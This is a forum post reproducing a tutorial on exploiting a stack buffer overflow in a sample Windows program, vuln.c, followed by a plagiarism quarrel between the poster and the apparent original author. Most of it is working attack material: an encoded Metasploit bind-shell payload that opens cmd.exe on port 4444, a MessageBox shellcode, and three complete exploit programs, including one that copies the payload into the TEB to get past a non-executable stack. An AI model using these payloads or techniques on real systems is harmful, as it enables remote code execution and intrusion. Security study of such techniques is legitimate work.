bY suN8Hclf | crimsoN_Loyd9 DaRk-CodeRs Group production, kid www.dark-coders.4rh.eu suN8Hclf[at]vp{dot}pl 09/03/2008 (English version) Introduction Shellcodes vuln.c The first method The second method The third method Conclusion Introduction This is not just another paper describing basics of buffer overflows. There are lots of publications about this topic, therefore it does not make any sense to describe it again. If you are familar with exploiting buffer overflows on Windows platform, do not think that this article has nothing to offer you. It shows some interesting methods, which can be used during writing an exploit (for example: where to put shellcode when stack is non-executable). Basic knowledge of x86 processors, Assembly and C languages and buffer overflows exploitation are required. The ability to overflow a buffer on the stack, gives us the full control over the EIP register of x86 processor. Yep!!! This is great!!! We can load this register with every address we want, and then force a vulnerable program to jump there and to execute code that is at that address. The problem occures when we want to execute the code, which WE want to be executed and not the code, which is actualy in the memory. To achive it, we have got to place OUR code in the memory of process we are attacking. This code is known as shellcode and it consists of a set of instructions for processor, additionaly encoded in their hex values. In this paper I will discuss three possible locations in memory, where we can put our shellcode and than, how to force the vulnerable application to execute it. During this tutorial we will be using two shellcodes, of different size. The first, written by me: 1. Loads user32.dll library to process memory 2. Calls MessageBoxA 3. Calls ExitProcess(0) to terminate process The second, was generated in Metasploit Framework. It binds Windows shell (cmd.exe) to port 4444. Three methods (possible locations in memory) I will describe are the following: 1. On the stack, behind the buffer that smashes the stack(so behind the return address). 2. In buffer, which overflows buffer on the stack 3. In TEB block 0x01 Shellcodes The first shellcode (64 bytes) Code: char shellcode[]= "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3" "\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0" "\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90" "\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0" "\x75\x73\x65\x72\x33\x32\x61"; In details: Code: 00401B7C EB 02 JMP SHORT vuln.00401B80 00401B7E EB 05 JMP SHORT vuln.00401B85 00401B80 E8 F9FFFFFF CALL vuln.00401B7E 00401B85 5B POP EBX 00401B86 33C9 XOR ECX,ECX 00401B88 83C3 35 ADD EBX,35 00401B8B 880B MOV BYTE PTR DS:[EBX],CL 00401B8D 83EB 06 SUB EBX,6 00401B90 53 PUSH EBX 00401B91 B8 CF053579 MOV EAX,KERNEL32.LoadLibraryA //check address of LoadLibraryA on your own 00401B96 FFD0 CALL EAX 00401B98 33C9 XOR ECX,ECX 00401B9A 51 PUSH ECX 00401B9B 53 PUSH EBX 00401B9C 53 PUSH EBX 00401B9D 51 PUSH ECX 00401B9E 05 11111111 ADD EAX,11111111 00401BA3 2D 79900E11 SUB EAX,110E9079 00401BA8 FFD0 CALL EAX //here, in eax should be an address of 00401BAA 33C9 XOR ECX,ECX //MessageBoxA function 00401BAC 51 PUSH ECX 00401BAD B8 1AE03479 MOV EAX,KERNEL32.ExitProcess //address of ExitProcess 00401BB2 FFD0 CALL EAX 00401BB4 75 73 JNZ SHORT vuln.00401C29 00401BB6 65:72 33 JB SHORT vuln.00401BEC 00401BB9 3261 XOR AL,BYTE PTR DS:[EAX] I have written it under Windows 2000 Service Pack 4. If you are using another Windows platform, you should change address of LoadLibraryA, MessageBoxA and ExitProcess in kernel32 and User32 to good ones. As you can see, this simple code simply invokes MessageBoxA and then it terminates the process. The second shellcode(399 bytes) Code: // win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]http://site.com/ unsigned char shellcode[] ="\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" "\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" "\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" "\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" "\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" "\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15" "\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" "\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" "\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" "\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf" "\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" "\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" "\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" "\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" "\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" "\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" "\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" "\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" "\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" "\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" "\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" "\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" "\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2" "\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" "\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; vuln.c Here is a code of the vuln.c program, which we'll be attacking using three methods: Code: -------------vuln.c------------------------ #include <stdio.h> #include <stdlib.h> int foo(char *); int main(int argc, char *argv[]) { if(argc != 2) return printf("Supply an argument, dude\n"); foo(argv[1]); return 0; } int foo(char *input) { unsigned char buffer[600]=""; printf("%.8X\n", &buffer); strcpy(buffer, input); return 0; } -------------vuln.c------------------------ As you can see, there is a possibility (in foo() function) to overflow a buffer on the stack. Strcpy() function does not check the length of "source" data. NOTE1: ================================================================================== |To make our think much simpler, let's assume that 620 bytes is | |the maximum size of data that DOES NOT overwrite return address on the stack. | ================================================================================== The first method This is probably the most popular and the most simple method. We fill entire buffer (620 bytes) with "chunk", the return address we overwrite with jump(call, jmp), and then we place our shellcode. The buffer, which exploits the vuln.c program with this method looks like it: [620 bytes of chunk][jmp esp, call esp][some NOP's][shellcode] We assume that ESP register points to our shellcode during overflow (shellcode is on the top of the stack). Here is the exploit: Code: ----------------exploit1.c------------------------ #include <stdio.h> #include <stdlib.h> #include <windows.h> #define RET 0x7935EDBB /* ATTENTION!!! Change it. Search kernel32.dll or any other library for jmp esp or call esp instruction and then save the address */ #define TRASH 0x41 char shellcode[]= "\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3" "\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0" "\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90" "\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0" "\x75\x73\x65\x72\x33\x32\x61"; int main(int argc, char *argv[]) { char *bufExe[3]; char buf[700]; int i; char *ptr = buf; memset(buf, 0, sizeof(buf)); bufExe[0] = "vuln.exe"; bufExe[2] = NULL; for(i=0;i<620;i++) (*ptr++) = TRASH; //620 bytes of chunk *(unsigned long *)&buf[620] = RET; //then return address = jmp esp, call esp strcat(buf, "\x90\x90\x90\x90"); //small NOP sledge strcat(buf, shellcode); //and our first shellcode bufExe[1] = buf; execve(bufExe[0],bufExe,NULL); return 0; } ----------------exploit1.c------------------------ This method works correctly, but is very limited. Why? Our shellcode must be SMALL. If you use long shellcode (for example the second one from this paper) it will be cut. Therefore using this method we won't force the vuln.c program to execute or second shellcode. To do it we have got to use the second method. The second method To execute long shellcodes we need much more place: 399 bytes + NOP sledge (in our example). If the buffer in an application, which we are attacking, is big (620 bytes in vuln.c), we can place THERE our shellcode and jump to the begining of our code in buffer. This is how most of exploits for linux < 2.6 works. Buffer looks like it: [NOP sledge][REAL SHELLCODE][call esp, jmp esp][some NOP's][MINI SHELLCODE] As you can see, we have got to use two shellcode's: REAL SHELLCODE -> this is our shellcode, which we want to be executed MINI SHELLCODE -> this is a small shellcode, which will be executed with the first method. It will only jump to the REAL SHELLCODE. In our example (vuln.c) the ECX register points to the end of buffer. Therefore we can use it, to jump at the beggining of the buffer. We can do it by: dec ch dec ch jmp ecx Of course, you may need to change it. The most important thing is that the ECX register, must point to the NOP sledge before REAL SHELLCODE after the execution of MINI SHELLCODE. Exploit: Code: ------------------exploit2.c----------------------- #include <stdio.h> #include <stdlib.h> #include <windows.h> #define RET 0x7935EDBB //see comments in exploit1.c #define NOP 0x90 unsigned char shellcode[] = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" "\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" "\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" "\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" "\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" "\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15" "\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" "\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" "\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" "\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf" "\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" "\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" "\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" "\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" "\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" "\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" "\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" "\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" "\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" "\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" "\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" "\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" "\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2" "\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" "\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; char mini[]= "\xFE\xCD" // dec ch "\xFE\xCD" // dec ch "\xFF\xE1"; /* jmp ecx (the ECX register should point to the NOP sledge before REAL shellcode) */ int main(int argc, char *argv[]) { char *bufExe[3]; char buf[700]; int i; char *ptr = buf; memset(buf, 0, sizeof(buf)); bufExe[0] = "vuln.exe"; bufExe[2] = NULL; for(i=0;i<160;i++) (*ptr++) = NOP; //load 160 NOPs (counted value) strcat(buf, shellcode); //load our shellcode (399 bytes) strcat(buf, "\x90"); //load one NOP to gain rounded value 560 (160+399=559) for(i=0;i<12;i++) strcat(buf, "\x90\x90\x90\x90\x90"); //load some NOPs to be 620 bytes (620-560=60) *(unsigned long *)&buf[620] = RET; //now jump to MINI SHELLCODE(call esp) strcat(buf,"\x90\x90\x90\x90"); //some NOPs strcat(buf, mini); //MINI SHELLCODE bufExe[1] = buf; execve(bufExe[0],bufExe,NULL); return 0; } ------------------exploit2.c----------------------- Of course, all values in this example were counted, and they won't be good any time. You have got to do the math yourself Ok, it works, but what if the stack is non-executable ? 0x05 The third method If the stack memory was configured to firbid the execution of code that is placed on it, we have to choose another place to store our shellcode. We can, for example, choose TEB block. Every block has 520 bytes buffer used during Unicode to ASCII strings conversion. This buffer is shiffted(placed) 0xC00 bytes from the beggining of TEB block. The TEB block of the first process's thread has address 0x7FFDE000 so the free buffer for our shellcode is at 0x7FFDEC00 (0x7FFDE000 + 0xC00). Becouse this address ends with NULL byte, we should change it to, for example, 0x7FFDEC04. But here is a trap. If our exploit did use any function that uses the buffer in TEB block for conversion between Unicode and ASCII, the attacked process would probably crash down and our shellcode would not be executed. Too bad... But there are some others free locations in TEB block that are not used. For example, starting from 0x7FFDE1BC there is a buffer containing only NULL bytes, which we can overwrite. So this is how our buffer, which will be sent to vuln.c, looks like: [NOP sledge][shellcode][some NOPs][STR_FUNC][STR_FUNC_RET][DEST_BUF][SRC_BUF] where: STR_FUNC (620-624 bytes) -> the address of function, which will be used to copy our NOP sledge+shellcode to TEB block (lstrcpyA or lstrcatA). STR_FUNC_RET (624-628 bytes) -> the return address for STR_FUNC. In our example we are jumping to our buffer with shellcode at 0x7FFDE1BC. DEST_BUF (628-632 bytes) -> address of the location where we are copying our shellcode. TEB block (0x7FFDE1BC) in our case. SRC_BUF (632-636 bytes) -> the address from which we are copying our code. In our example, we copy NOP sledge and shellcode. Get this address from vuln.c program. And the third exploit: Code: ------------------------exploit3.c---------------------- #include <stdio.h> #include <stdlib.h> #include <windows.h> #define TEB 0x7FFDE1BC // the location where we are copying our code #define BUF_ADDR 0x0013B870 //address of buffer from vuln.c #define STRCPY_FUNC 0x7935DF5C //address of lstrcpyA in kernel32.dll for Win2000 unsigned char shellcode[] = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" "\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" "\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" "\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" "\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" "\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15" "\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" "\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" "\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" "\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf" "\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" "\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" "\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" "\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" "\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" "\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" "\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" "\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" "\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" "\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" "\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" "\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" "\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2" "\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" "\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; int main(int argc, char *argv[]) { char *bufExe[3]; char buf[770]; int i,y; bufExe[0] = "vuln.exe"; bufExe[2] = NULL; memset(buf, 0, sizeof(buf)); for(i=0;i<25;i++) strcat(buf, "\x90\x90\x90\x90"); //100 bytes of NOP for(i=strlen(buf), y=0;y<sizeof(shellcode);y++,i++) buf[i] = shellcode[y]; //our shellcode for(i;i<621;i++) strcat(buf, "\x90"); //and fill the rest of buffer with NOP's (total 620 bytes) *(unsigned long *)&buf[620] = STRCPY_FUNC; *(unsigned long *)&buf[624] = TEB; *(unsigned long *)&buf[628] = TEB; *(unsigned long *)&buf[632] = BUF_ADDR; bufExe[1] = buf; execve(bufExe[0],bufExe,NULL); return 0; } ------------------------exploit3.c---------------------- After invoking this exploit, and typing : > netstat -a you should see opened port -> 4444. Good... Our shellcode should be less than 520 bytes long, to not to overflow the next TEB or PEB block. Conclusion The three methods presented in this paper are quite useful during writting the buffer overflows exploit. If you guys have any ideas that u want me to write about plz dont hesitate to ask me i have over like 250 tutorials that i have made and have been posting all across diffrent forums so u have any tut that u want to see just ask me All comments, sugestions, questions -> send to: suN8Hclf[at]vp{dot}pl OR crimson{dot}loyd[at]gmail{dot}com
Yeah, really c00l paper XXxxImmortalxxXX ... Wish, it is yours... WHAT THE **** ARE YOU THINKING SUCKER ???!!! THIS IS NOT YOU PAPER AND YOU KNOW IT VERY WELL!!! I see that you are too stupid to play with computers so get another hobby. And if dont have enough knowledge to write a good paper based on your own research dont copy others work. If the are doing it, just copy the ENTIRE paper and dont act as an author, fucker... And to all guys who had already read this paper above: The oryginall paper can be found at: www.milw0rm.com/papers/205 www.packetstormsecurity.com/shellcode/shellcode-locations.txt Besh Wishes suN8Hclf
lol ohhhh booo whooooooo wow i forgot to add the user who made this im so sry GO CRY ME A RIVER. And just to actually tell the real user who made this was not from packetstrom it was actually made by another user that i do not wish to state. and the hell with packetstorm they never made this. they just copied and pasted it. as for the shellcode script it was a user i know that sent it to milw0rm and milw0rm posted hence there e-mail sumbissions@milw0rm.com and actually u know i could care less if i wrote this tutorial i just posted it for i guess users like u that love buffers so much. IM SO SRY CAPTING JACK ILL BE SURE TO ADD THE AUTHORS NAME NEXT TIME *slowly walking away*
